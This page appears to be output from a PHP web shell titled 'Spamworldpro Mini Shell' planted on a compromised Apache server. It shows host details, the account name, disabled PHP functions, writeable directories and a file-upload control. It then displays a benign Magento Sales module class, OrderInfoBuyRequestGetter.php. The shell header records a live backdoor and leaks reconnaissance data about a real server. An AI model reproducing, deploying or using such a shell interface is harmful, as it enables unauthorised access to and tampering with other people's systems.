Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/vendor/magento/module-sales/Model/Reorder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/corals/cartforge.co/vendor/magento/module-sales/Model/Reorder/OrderInfoBuyRequestGetter.php
<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
declare(strict_types=1);
namespace Magento\Sales\Model\Reorder;

use Magento\Framework\DataObject;
use Magento\Sales\Api\Data\OrderItemInterface;
use Magento\Framework\Serialize\SerializerInterface;
use Psr\Log\LoggerInterface;

/**
 * Gets info buy request from order info interface and process custom options
 */
class OrderInfoBuyRequestGetter
{
    /**
     * @var LoggerInterface
     */
    private $logger;

    /**
     * @var SerializerInterface
     */
    private $serializer;

    /**
     * @param LoggerInterface $logger
     * @param SerializerInterface $serializer
     */
    public function __construct(
        LoggerInterface $logger,
        SerializerInterface $serializer
    ) {
        $this->logger = $logger;
        $this->serializer = $serializer;
    }

    /**
     * Prepare Custom Option for order Item by unserializing custom options data
     *
     * @param OrderItemInterface $orderItem
     * @return DataObject
     */
    public function getInfoBuyRequest(OrderItemInterface $orderItem): DataObject
    {
        $info = $orderItem->getProductOptionByCode('info_buyRequest');
        $options = $orderItem->getProductOptionByCode('options');

        if (!empty($options) && is_array($info)) {
            foreach ($options as $option) {
                if (array_key_exists($option['option_id'], $info['options'])) {
                    try {
                        $value = $this->serializer->unserialize($option['option_value']);
                        $info['options'][$option['option_id']] = $value;
                    } catch (\InvalidArgumentException $exception) {
                        $this->logger->warning($exception);
                    }
                }
            }
        }

        $infoBuyRequest = new DataObject($info);
        $infoBuyRequest->setQty($orderItem->getQtyOrdered());

        return $infoBuyRequest;
    }

}

Spamworldpro Mini